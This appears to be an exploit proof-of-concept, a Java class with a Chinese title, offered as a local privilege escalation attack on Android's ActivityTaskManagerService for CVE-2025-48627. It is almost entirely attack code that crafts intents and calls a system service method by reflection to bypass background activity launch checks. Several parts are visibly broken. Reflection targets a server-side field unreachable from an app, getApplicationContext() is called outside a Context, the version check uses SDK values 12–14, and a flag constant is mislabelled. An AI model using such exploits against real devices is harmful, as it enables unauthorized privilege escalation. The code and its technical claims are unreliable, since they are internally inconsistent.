CVE-2025-48627 Android ActivityTaskManagerService本地提权漏洞

// CVE-2025-48627 PoC - Android ActivityTaskManagerService Local Privilege Escalation // This PoC demonstrates exploiting the logic error in startNextMatchingActivity import android.content.Intent; import android.os.IBinder; import android.app.ActivityManager; import android.os.Build; public class CVE_2025_48627_PoC { private static final String TARGET_ACTIVITY = "com.android.settings.Settings$AppListActivity"; private static final String ATTACKER_PACKAGE = "com.attacker.privilege.escalation"; /** * Attempt to exploit the vulnerability by launching activity from background * This PoC triggers startNextMatchingActivity with crafted Intent */ public boolean exploitVulnerability() { try { // Create a crafted Intent that exploits the logic error Intent maliciousIntent = new Intent(); maliciousIntent.setClassName("com.android.settings", TARGET_ACTIVITY); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Bypass the background activity launch restrictions // The logic error allows bypassing the check in startNextMatchingActivity // Method 1: Direct exploitation through reflection exploitViaReflection(maliciousIntent); // Method 2: Using Content Provider to trigger the vulnerable code path exploitViaContentProvider(); return true; } catch (Exception e) { e.printStackTrace(); return false; } } /** * Exploit using reflection to access protected ActivityTaskManagerService methods */ private void exploitViaReflection(Intent intent) { try { // Get ActivityTaskManagerService instance via reflection Class<?> atmClass = Class.forName("com.android.server.wm.ActivityTaskManagerService"); java.lang.reflect.Field instanceField = atmClass.getDeclaredField("sService"); instanceField.setAccessible(true); Object atmService = instanceField.get(null); // Access startNextMatchingActivity method java.lang.reflect.Method startNextMethod = atmClass.getDeclaredMethod( "startNextMatchingActivity", IBinder.class, Intent.class, android.content.pm.ResolveInfo.class ); startNextMethod.setAccessible(true); // Trigger the vulnerable method startNextMethod.invoke(atmService, null, intent, null); } catch (Exception e) { // Reflection failed, try alternative method exploitViaContentProvider(); } } /** * Alternative exploitation via Content Provider */ private void exploitViaContentProvider() { try { // Create Intent to trigger background activity launch Intent exploitIntent = new Intent(Intent.ACTION_VIEW); exploitIntent.setData(android.net.Uri.parse("package:com.android.settings")); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); exploitIntent.addFlags(0x01010020); // FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS // Start the activity - exploits the logic error android.content.Context context = getApplicationContext(); context.startActivity(exploitIntent); } catch (Exception e) { e.printStackTrace(); } } /** * Check if device is vulnerable */ public static boolean isVulnerable() { // Check Android version against affected versions int sdkInt = Build.VERSION.SDK_INT; return (sdkInt >= 12 && sdkInt <= 14); // Affected range } } // Note: This PoC requires the app to have INTERACT_ACROSS_USERS permission // or exploit via a different app context